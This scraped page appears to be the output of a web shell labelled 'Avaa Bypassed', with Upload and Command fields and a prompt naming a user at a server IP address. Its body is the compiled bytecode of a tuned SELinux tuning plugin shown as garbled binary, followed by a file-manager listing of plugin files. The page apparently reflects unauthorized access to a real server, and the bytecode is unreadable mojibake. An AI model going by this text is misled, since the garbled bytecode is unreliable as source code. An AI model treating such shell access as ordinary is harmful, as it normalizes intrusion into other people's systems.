404

[ Avaa Bypassed ]




Upload:

Command:

elspacio@3.142.42.247: ~ $
3

�<�e	�@sdddlZddlZddlmZddlTddlZddlmZddl	m
Z
ejj�Z
Gdd�dej�ZdS)	�N�)�base)�*)�
exceptions)�commandscsheZdZdZedd��Z�fdd�Zedd��Zdd	�Zd
d�Z	e
d�d
d��Zed�dd��Z
�ZS)�
SelinuxPlugina�
	`selinux`::
	
	Plug-in for tuning SELinux options.
	+
	SELinux decisions, such as allowing or denying access, are
	cached. This cache is known as the Access Vector Cache (AVC). When
	using these cached decisions, SELinux policy rules need to be checked
	less, which increases performance. The [option]`avc_cache_threshold`
	option allows adjusting the maximum number of AVC entries.
	+
	NOTE: Prior to changing the default value, evaluate the system
	performance with care. Increasing the value could potentially
	decrease the performance by making AVC slow.
	+
	.Increase the AVC cache threshold for hosts with containers.
	====
	----
	[selinux]
	avc_cache_threshold=8192
	----
	====
	cCs(d}tjj|�s$d}tjj|�s$d}|S)Nz/sys/fs/selinuxz/selinux)�os�path�exists)�selfr	�r�$/usr/lib/python3.6/plugin_selinux.py�_get_selinux_path$szSelinuxPlugin._get_selinux_pathcsPt�|_|j�|_|jdkr&tjd��tjj|jdd�|_	t
t|�j||�dS)NzFSELinux is not enabled on your system or incompatible version is used.ZavcZcache_threshold)
r�_cmdrZ
_selinux_pathrZNotSupportedPluginExceptionrr	�join�_cache_threshold_path�superr�__init__)r�args�kwargs)�	__class__rr
r-s


zSelinuxPlugin.__init__cCsddiS)N�avc_cache_thresholdr)rrrr
�_get_config_options5sz!SelinuxPlugin._get_config_optionscCsd|_d|_dS)NTF)Z_has_static_tuningZ_has_dynamic_tuning)r�instancerrr
�_instance_init;szSelinuxPlugin._instance_initcCsdS)Nr)rrrrr
�_instance_cleanup?szSelinuxPlugin._instance_cleanuprcCsL|dkrdSt|�}|dkrD|s@|jj|j||r8tjgndd�|SdSdS)NrF)Zno_error)�intrZ
write_to_filer�errno�ENOENT)r�valueZsim�removeZ	thresholdrrr
�_set_avc_cache_thresholdBsz&SelinuxPlugin._set_avc_cache_thresholdcCs&|jj|j�}t|�dkr"t|�SdS)Nr)rZ	read_filer�lenr)rrrrr
�_get_avc_cache_thresholdOsz&SelinuxPlugin._get_avc_cache_threshold)�__name__�
__module__�__qualname__�__doc__�classmethodrrrrrZcommand_setr!Zcommand_getr#�
__classcell__rr)rr
rs	
r)rr�rZ
decoratorsZ
tuned.logsZtunedZ
tuned.pluginsrZtuned.utils.commandsrZlogs�get�logZPluginrrrrr
�<module>s


Filemanager

Name Type Size Permission Actions
__init__.cpython-36.opt-1.pyc File 173 B 0644
__init__.cpython-36.pyc File 173 B 0644
base.cpython-36.opt-1.pyc File 21.13 KB 0644
base.cpython-36.pyc File 21.13 KB 0644
decorators.cpython-36.opt-1.pyc File 1.06 KB 0644
decorators.cpython-36.pyc File 1.06 KB 0644
exceptions.cpython-36.opt-1.pyc File 354 B 0644
exceptions.cpython-36.pyc File 354 B 0644
hotplug.cpython-36.opt-1.pyc File 4.23 KB 0644
hotplug.cpython-36.pyc File 4.23 KB 0644
plugin_acpi.cpython-36.opt-1.pyc File 3.35 KB 0644
plugin_acpi.cpython-36.pyc File 3.35 KB 0644
plugin_audio.cpython-36.opt-1.pyc File 4.03 KB 0644
plugin_audio.cpython-36.pyc File 4.03 KB 0644
plugin_bootloader.cpython-36.opt-1.pyc File 24.45 KB 0644
plugin_bootloader.cpython-36.pyc File 24.45 KB 0644
plugin_cpu.cpython-36.opt-1.pyc File 26.03 KB 0644
plugin_cpu.cpython-36.pyc File 26.06 KB 0644
plugin_disk.cpython-36.opt-1.pyc File 16.35 KB 0644
plugin_disk.cpython-36.pyc File 16.35 KB 0644
plugin_eeepc_she.cpython-36.opt-1.pyc File 3.43 KB 0644
plugin_eeepc_she.cpython-36.pyc File 3.43 KB 0644
plugin_irqbalance.cpython-36.opt-1.pyc File 4.51 KB 0644
plugin_irqbalance.cpython-36.pyc File 4.51 KB 0644
plugin_modules.cpython-36.opt-1.pyc File 5.45 KB 0644
plugin_modules.cpython-36.pyc File 5.45 KB 0644
plugin_mounts.cpython-36.opt-1.pyc File 5.5 KB 0644
plugin_mounts.cpython-36.pyc File 5.5 KB 0644
plugin_net.cpython-36.opt-1.pyc File 23.21 KB 0644
plugin_net.cpython-36.pyc File 23.21 KB 0644
plugin_rtentsk.cpython-36.opt-1.pyc File 1.34 KB 0644
plugin_rtentsk.cpython-36.pyc File 1.34 KB 0644
plugin_scheduler.cpython-36.opt-1.pyc File 53.44 KB 0644
plugin_scheduler.cpython-36.pyc File 53.44 KB 0644
plugin_script.cpython-36.opt-1.pyc File 4.26 KB 0644
plugin_script.cpython-36.pyc File 4.31 KB 0644
plugin_scsi_host.cpython-36.opt-1.pyc File 4.56 KB 0644
plugin_scsi_host.cpython-36.pyc File 4.56 KB 0644
plugin_selinux.cpython-36.opt-1.pyc File 3 KB 0644
plugin_selinux.cpython-36.pyc File 3 KB 0644
plugin_service.cpython-36.opt-1.pyc File 13.84 KB 0644
plugin_service.cpython-36.pyc File 13.84 KB 0644
plugin_sysctl.cpython-36.opt-1.pyc File 6.7 KB 0644
plugin_sysctl.cpython-36.pyc File 6.7 KB 0644
plugin_sysfs.cpython-36.opt-1.pyc File 3.64 KB 0644
plugin_sysfs.cpython-36.pyc File 3.64 KB 0644
plugin_systemd.cpython-36.opt-1.pyc File 5.92 KB 0644
plugin_systemd.cpython-36.pyc File 5.92 KB 0644
plugin_uncore.cpython-36.opt-1.pyc File 4.75 KB 0644
plugin_uncore.cpython-36.pyc File 4.75 KB 0644
plugin_usb.cpython-36.opt-1.pyc File 2.95 KB 0644
plugin_usb.cpython-36.pyc File 2.95 KB 0644
plugin_video.cpython-36.opt-1.pyc File 4.13 KB 0644
plugin_video.cpython-36.pyc File 4.13 KB 0644
plugin_vm.cpython-36.opt-1.pyc File 4.11 KB 0644
plugin_vm.cpython-36.pyc File 4.11 KB 0644
repository.cpython-36.opt-1.pyc File 1.87 KB 0644
repository.cpython-36.pyc File 1.92 KB 0644